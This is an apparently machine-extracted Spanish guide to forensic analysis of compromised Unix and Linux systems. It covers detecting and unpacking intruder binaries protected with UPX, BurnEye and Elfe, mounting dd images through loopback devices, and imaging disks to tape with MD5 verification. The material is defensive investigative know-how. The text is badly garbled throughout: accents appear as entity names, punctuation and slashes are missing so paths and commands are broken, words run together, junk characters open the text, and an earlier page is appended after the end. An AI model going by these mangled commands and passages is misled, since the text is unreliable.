ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 12: Análisis Forense de Sistemas GNU/Linux, Unix

bull iexclHaga 3 imaacutegenes del disco duro entero y trabaje con copias y no con el original En el peor caso que tengaque trabajar con el disco original correriacutea el riesgo de hacer una pequentildea equivocacioacuten que eliminariacutea las huellasde forma parcial o total El original debe ser almacenado en una caja fuerte para estar totalmente seguros que elcontenido del dispositivo no esteacute alterado o eliminado Para ello generariacuteamos verificaciones de integridad MD5las imprimiremos en etiquetas y eacutestas las pegaremos en el original y en las copias La etiqueta del original debecontener la fecha y hora de extraccioacuten del disco del sistema comprometido y la fecha y hora de almacenamientodel disco en la caja fuerte Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo) Acontinuacioacuten estaacuten detalladas todas estas tareas

a El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada despueacutes Sedebe tener mucho cuidado para no dantildear el disco en caso de conflictos master-slave en el controlador IDE etc Espor ello que insistiacutea anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas es decir que esmuy conveniente tener un uacutenico disco duro conectado a la segunda interfaz IDE (si tiene conectado un CD-ROM enla segunda interfaz de IDE se debe quitar de forma temporal)

Puede ser que sea necesario modificar las opciones de deteccioacuten automaacutetica de la geometriacutea de discos en los ajustesBIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error)

b Las particiones del disco duro deben ser identificadas con el programa fdisk Nunca se debe utilizar fdisk en modointeractivo ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programai386 GNULinux modelado a partir de su equivalente de DOS)

Ejemplo

fdisk -l devhdd

Disk devhdd 255 heads 63 sectors 1575 cylindersUnits = cylinders of 16065 512 bytes

Device Boot Start End Blocks Id Systemdevhdd1 1 869 6980211 b Win95 FAT32devhdd2 870 1022 1228972+ 83 Linuxdevhdd3 1023 1035 104422+ 82 Linux swapdevhdd4 1036 1575 4337550 83 Linux

A partir de este listado podemos sacar una buena conclusioacuten que la particioacuten devhdd2 era particioacuten root y devhdd4era algo parecido a usr o home No puede decir cual de las dos es en este paso pero se puede ver el fichero salvadoetcfstab o alternativamente montarla particioacuten y examinar su contenido

12

En caso de que hayamos hecho una imagen de la particioacuten debemos restaurarla para su estudio posterior

c Se generan los checksums de integridad de particiones con MD5 del disco original y sus imaacutegenes para verificar sicoinciden

Nota Asumimos que tenemos un dispositivo de cinta en devst0 y el dispositivo non-rewind estaacute en devnst0El tamantildeo del bloque normalmente 512 bytes puede que no sea el valor maacutes eficaz para su dispositivo de cintasConsulte la documentacioacuten de su dispositivo y determine el factor oacuteptimo (frecuentemente entre 8198 y 32767)

Los siguientes ejemplos utilizaraacuten el valor por defecto para evitar complicaciones

El comando mt se utiliza para saltar volver atraacutes en un fichero para luego verificar su checksum MD5 Hay que estarseguro que se utiliza dispositivo non-rewind ya que a la hora de saltar de una imagen de fichero a otra podriacuteamossobrescribir informacioacuten sobre la cinta y perder informacioacuten Tambieacuten hay que asegurarse que no hacemos ninguacutenerror con paraacutemetros if= y of= - opciones del comando dd ya que podraacute destruir informacioacuten sobre el disco confacilidad (Ver man mt y man dd luego practique escribiendoleyendo muacuteltiples ficheros ade la cinta antes de hacercualquier accioacuten con los datos importantes)

Ejemplo

dateMon Jun 19 120022 PDT 2000

md5sum devhdd27b8af7b2224f0497da808414272e7af4 devhdd2

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (41010000)

BOT ONLINE IM_REP_EN

dd if=devhdd2 of=devnst02457944+0 records in2457944+0 records out

13

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

A la hora de verificar los MD5 del disco y de las cintas si al menos un uacutenico byte ha sido modificado a la hora derealizar la duplicacioacuten o backup el checksum no coincidiraacute Eso puede estar causado por un sector dantildeado en el discoduro o en la cinta puede que haya hecho una copia del sistema vivo (no montado read-only) o haya hecho la copiade una particioacuten incorrecta

Intente utilizar otra cinta Pruebe tambieacuten regenerar el MD5 checksum del discoparticioacuten Haga lo que haga no intentere-formatear analizar arreglar el disco original ya que todas esas acciones alteraraacuten la informacioacuten del disco

Puede ser que necesite servicios de una empresa especializada en recuperacioacuten de datos que puede migrar en tiemporeal los datos del disco y determinar que sector exactamente estaacute dantildeado y arreglarlo de forma segura Ojo siempreque entrega una cintadisco a las empresas de recuperacioacuten de datos aseguren la informacioacuten con una aseguradora porel valor aproximado de dantildeos causados Si es la cinta o el dispositivo de cinta que estaacute fallando pues se debe adquirirun dispositivocinta nuevoa ya que no podraacute seguir trabajando con hardware estropeado

d Si se estaacute guardando maacutes de una particioacuten en la cinta hay que asegurarse que se utiliza el dispositivo non-rewindpara cada particioacuten entonces se usa mt rewind o simplemente se saca la cinta lo que causaraacute que se rebobine Ahora escuando debe habilitar la proteccioacuten de escritura de la cinta ya que no queremos que de forma accidental se sobrescribala informacioacuten Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la proteccioacuten contraescritura estaacute funcionando correctamente utilizando el comando mt El siguiente ejemplo muestra el estado de unacinta protegida contra escritura posicionada en el punto BOT y el primer fichero estaacute marcado como 0

14

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

